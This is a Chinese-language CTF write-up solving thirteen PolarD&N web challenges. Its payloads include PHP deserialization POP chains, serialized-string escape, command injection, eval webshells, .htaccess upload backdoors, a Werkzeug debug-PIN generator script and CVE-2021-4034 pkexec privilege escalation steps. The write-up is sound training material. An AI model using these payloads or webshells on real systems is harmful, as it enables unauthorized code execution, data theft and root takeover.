目录
0x01 PHP是世界上最好的语言(困难)
进题源码,第一层就绕不过去。
所以去看了wp,发现可以用三个函数组合,即:
用$_SERVER['QUERY_STRING']获取GET中的值,用parse_str()将此字符串解析到变量中。extract($_POST)在post数组中解析flag1和flag2。所以payload:
?_POST[flag1]=8gen1&_POST[flag2]=8gen1
然后就过了第一层。第二层的504_SYS.COM要用[或]或.来进行绕过。即传入504[SYS.COM以免最后的那个.被解析了。最后一层我们先用sys=system(ls);尝试一下。发现读出了flag.php和index.php。但是由于.和通配符都被过滤了,我们无法正常读取flag.php了。
而由于flag.php在源码中已经被包含了,我们直接输出$flag这个变量就可以,因为一般都是在php执行中给$flag这个变量赋值的,最终payload:
然后就得到了flag。
0x02 非常好绕的命令执行(困难)
进题代码审计:
我们可以知道的是过滤了system但是没过滤反引号,所以用eval("echo `命令`;")进行命令执行。其中三个函数是:$evil不能出现$blacklist里的字符、$evil所有字符可见。(nc会把include给ban掉)所以我尝试了一下,发现<没被过滤。我们需要将后面几个括号注释掉,那么就用#即%23来注释。将那么就很容易了,payload:
?args1=echo&args2=`cat<flagggg`);%23&arg3=1
然后就得到了flag。
0x03 你想逃也逃不掉(困难)
数量减少的字符串溢出,我们看看源码:
拿去phpstorm进行加工。我们需要让name那里溢出,将passwd的长度读取,然后再用新的长度给它赋值。最后用一个闭合给sign赋值成ytyyds就行了。方法如下:
横线中共20个字符,可以用四个phtml进行字符串逃逸,所以这样构造应该就能出答案了。那么我们构造payload:
?passwd=;s:6:passwd;i:1;s:4:"sign";s:6:"ytyyds";}
name=phtmlphtmlphtmlphtml
然后就在源码中找到了flag。
0x04 苦海(困难)
<?php
/*
PolarD&N CTF
*/
error_reporting(1);
class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';
public function __construct()
{
echo "删库跑路,蹲监狱~";
}
public function printName()
{
echo $this->name;
return 'ok';
}
public function __wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}
public function __get($cc)
{
echo "give you flag : " . $this->flag;
}
}
class Surrender
{
private $phone = 110;
public $promise = '遵纪守法,好公民~';
public function __construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}
public function __toString()
{
return $this->file['filename']->content['title'];
}
}
class FileRobot
{
public $filename = 'flag.php';
public $path;
public function __get($name)
{
$function = $this->path;
return $function();
}
public function Get_file($file)
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}
public function __invoke()
{
$content = $this->Get_file($this->filename);
echo $content;
}
}
if (isset($_GET['user'])) {
unserialize($_GET['user']);
} else {
$hi = new User();
highlight_file(__FILE__);
}
反序列化,直接找pop链。结尾应该是hint出来。所以能看到的pop链应该是:
User::wakeup()->printname()->Surrender::toString()->FileRobot::get()->invoke()->Get_file()
那么我们就直接开始构造。在写本题时我学会了使用一个类时,调用类中不存在的变量以达到实现get()的调用。比如说:
让file['filename']=new FileRobot()这样就可以实现get的调用了。
这里可以使用url编码,因为中间有一个private的属性。或者在payload中更改不可见字符为%00也可以,但是flag不在当前目录,wp说flag在上一级目录,那么我们payload中要读取的是../flag.php就可以了。所以最终的payload:
?user=O:4:"User":2:{s:4:"name";O:9:"Surrender":3:{s:16:"%00Surrender%00phone";i:110;s:7:"promise";s:30:"苦海无涯,回头是岸!";s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";s:8:"flag.php";s:4:"path";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";N;}}}}s:4:"flag";s:21:"syst3m("rm -rf ./*");";}
然后获得了base64加密的flag,我们拿去解密就是答案了。
0x05 网站被黑(困难)
进题是个啥也不是的东西:
然后就是找线索,源码、dirsearch啥也没有。我们去看看抓包发包:
在发包的数据中找到了Hint,拿去解密发现解不出来。然后就去找了misc师傅解了一下,发现是base32加密的子域名,解密后是:/n0_0ne_f1nd_m3/
进入访问找到了源码:
第一个text就用php://input进行绕过。
第二个file是文件包含,php文件会被执行,然后file那里由于不能用base加密、data协议、write方法。我们就只能用convert.iconv尝试。发现是错的。
之后用了另一个新的方法:
convert.quoted-printable-encode
以打印字符的方式输出,用所有能用ascii表表示的字符打印。所以最终的构造payload:
然后就得到了flag。
0x06 毒鸡汤(困难)
进题是一个很有意思的鸡汤语录:
正常信息搜集就行,然后dirsearch发现了/www.zip,其他都可以在里面看到的。然后robots里面提示是hint,hint提示如下:
发现flag在根目录里面,我们接着在这里看看index.php的源码:
发现有一个readfile的参数可以直接将flag包含出来,payload:
?readfile=/flag
然后就得到了flag。
0x07 Unserialize_Escape(困难)
源码如下:
字符数量增加的字符串溢出,我们的目的是让其中的1元素为123456。拿去phpstorm构造一下先:
然后发现由于是数组类型的,那么需要伪造的应该是:
";i:1;s:6:"123456";}
共20个字符,我们只需要在前面放上20个x变成20个yy。这样就能达成溢出的目的。字符串变多溢出的原理,就是由于序列化时那个s:后面的长度记录数字是根据没替换的字符串来的。也就是说我们后面伪造的东西多长,就让他溢出多少个字符。这样前面s:只会读取替换后的字符。而伪造的字符串就会变成我们需要的东西。详情可见Leekos师傅文章:
然后进去当payload:
然后就得到了flag。
0x08 safe_include(困难)
进题看看源码,session包含:
用正常的session文件包含的思路:
先看看有没有回显,payload:
?xxs=/tmp/sess_c09rj3olg7f3n1dli2417eh616
文件包含成功了,然后我试着先上传一句话木马,然后访问网页包含,然后再连接蚁剑发现失败了。原因是因为最后一句话:他最后一句话说明包含之后文件内容会被改为你最后上传的下一句语句,所以我们成功上传之后不能再次传参访问。或者就是直接用bp抓包截断访问。我选择直接上传一句话木马,然后利用xxs=/tmp/sess_c09rj3olg7f3n1dli2417eh616进行连接。果然连上了:
然后在根目录找到了flag。
0x09 自由的文件上传系统(困难)
进题看见文件上传:
然后上传文件,进入查看的时候就会发现文件名被修改为数字、类型是图片形式。所以我们只能用文件包含。从源码或者主页的房子点一下,可以看到一个子域名:
/sectet_include.php?file=index.html
说明这是可以包含的。然后用文件随便上传一个一句话木马,而且重要的是路径。因为路径一开始错了,我去看了眼wp,原来是因为多加了一个"/"导致无法回显。
然后上传一句话木马发现他会将?变成!。那么我们上传不需要问号的php一句话木马:
<script language="php">@eval($_POST[1]);</script>
然后直接蚁剑连上。发现当前目录有个假的flag,真的flag在根目录:
然后就得到了flag。
0x0A flask_pin(困难)
说实话这题进题没有什么思路,但是用dirsearch和源码找到了/file和/console。其中/console是控制台的意思。我们进入访问:
然后发现需要一个pin值,我用了好多正常方法都没用。这题是一个新的知识点,flask-debug中的pin值生成。每个机器都会有相同的pin码,所以要进行解密。具体意思和操作可见文章:
根据文章意思,我们一共需要六个值:
# username # modname # getattr(app, '__name__', getattr(app.__class__, '__name__')) # getattr(mod, '__file__', None), # str(uuid.getnode()), /sys/class/net/eth0/address # get_machine_id(), /etc/machine-id、/proc/self/cgroup
前三个值一般都是固定的,分别为root、flask.app、Flask。第四个值是绝对路径,在debug报错中有,第五个是/sys/class/net/eth0/address这个用file读取,第六个也是一样的file读取。然后在题目中实践,第五个值是一个十六进制:
把他转换为十进制,然后第六个值是先读取第一个文件,再读取第二个文件,然后将二者拼接起来。这个问题在wp中有,也可见文章:Werkzeug更新带来的Flask debug pin码生成方式改变-腾讯云开发者社区-腾讯云
然后我们进行读取。
机器码:
这个freezer后docker的后面一串就是我们需要的:
构造后的脚本如下:
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),绝对路径
]
private_bits = [
'2485376925256',# str(uuid.getnode()), /sys/class/net/ens33/address
'c31eea55a29431535ff01de94bdcf5cf68586ce0a884092f32452633ffd1b2a66778a4c7616c94f7e70e8ce4e32cdb41'# get_machine_id(), /etc/machine-id 加上 /proc/self/cgroup 两个值拼接
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
获得了pin码,其中要注意:每一个环境的pin码都是不同的,需要再次操作。然后进入了控制台,在控制台中使用os命令的popen进行flag的读取:
然后就得到了flag。
0x0B 上传(困难)
进题是一个文件上传题:
随便手动fuzz一下,发现后缀php还有一系列后缀被过滤,就上传jpg就行。然后尝试一下.user.ini后门:
发现不能包含file的内容。那我们试一下.htaccess的后门:
上传成功了,然后我们上传一下shell.jpg,内容方面的<?被过滤了,那就用无问号的php标签头:
<script language="php">php代码</script>,然后访问一下/upload/shell.jpg:
发现被执行了,进入蚁剑连接,发现执行不了。
原因应该是php7以上的版本,不能再这么使用php标签头了。再去网上找了别的wp。发现说可以用utf-16进行绕过<?的检测。但是我尝试了不行,于是又看到一个说可以用后门读取base64的方法:
然后用base64加密后的一句话木马上传,发现虽然有回显,但是已经被读取了,而且可以连接蚁剑了,然后在根目录找到了flag。
0x0C veryphp(困难)
这题进题是一个正则:
可以看到我们需要传入一个shaw_root,但是_被过滤了,我们用没过滤的"["或者空格进行_的绕过。然后传入一个匹配正则表达的长度为29的字符串,用gpt帮忙了一下:
然后构造出来如下,所以payload:
shaw root=-a9<b>11111111>>>>aabcphp@Rs2
然后得到了hint:
一个长度为5的值,前面后面分别拼接shaw和root。然后给了个MD5加密后的值。
然后拿去php脚本爆破,php没有什么库文件,所以直接用五个循环爆破了,这里就不献丑了。然后得到$SecretNumber=21475。然后回显了congratulations。接下来就是call_user_func()的利用了。我们用这个函数进行oao的调用就可以了。所以最终payload:
shaw[root=-a9<b>11111111>>>>aabcphp@Rs2&ans=21475&my[ans=qwq::oao
然后就得到了flag。
0x0D 这又是一个上传(困难)
PS:这题花的时间很久,而且有很多原理性的东西,是一个提权。
首先进题是一个文件上传:
看了源码,发现是一个前端检测的验证,我们只用抓包就能绕过验证。然后发现一句话木马直接上传成功了,然后进入访问之后,再用蚁剑连接。用蚁剑的虚拟终端打开,然后发现cat用不了:
然后就只能跟着师傅的wp走了。先用命令查看所有的权限函数,payload:
1=system('find / -user root -perm -4000 -print 2>/dev/null');
然后根据wp,说明了polkit里面的pkexec是一个可以提权的函数。在pkexec | GTFOBins网站上可以看到,他是一个相当于sudo的函数:
然后查看pkexec版本:
存在CVE-2021-4034 pkexec 本地提权漏洞,可以将用户身份直接变为root
2009年5月至今发布的所有 Polkit 版本都受这个漏洞影响。
注:Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在Polkit的Linux系统均受影响。
这段是师傅写的,可以用到CVE-2021-4034进行提权。然后我发现正常的地方都是无法上传蚁剑的马的。我们只能在根目录找到/tmp文件夹进行上传,然后我发现了unzip等一系列指令都用不了。然后又只能跟着wp。
先在本地解压,然后make。但是make这个也用不了,因为tty不完整。可以用蚁剑来检测:
not a tty。说明tty不完整。这里跟着wp,然后下载了gozilla,然后在super terminal里面用make,发现成功了。之后就是变成了root,我们直接cat /flag就行了:
然后就得到了flag。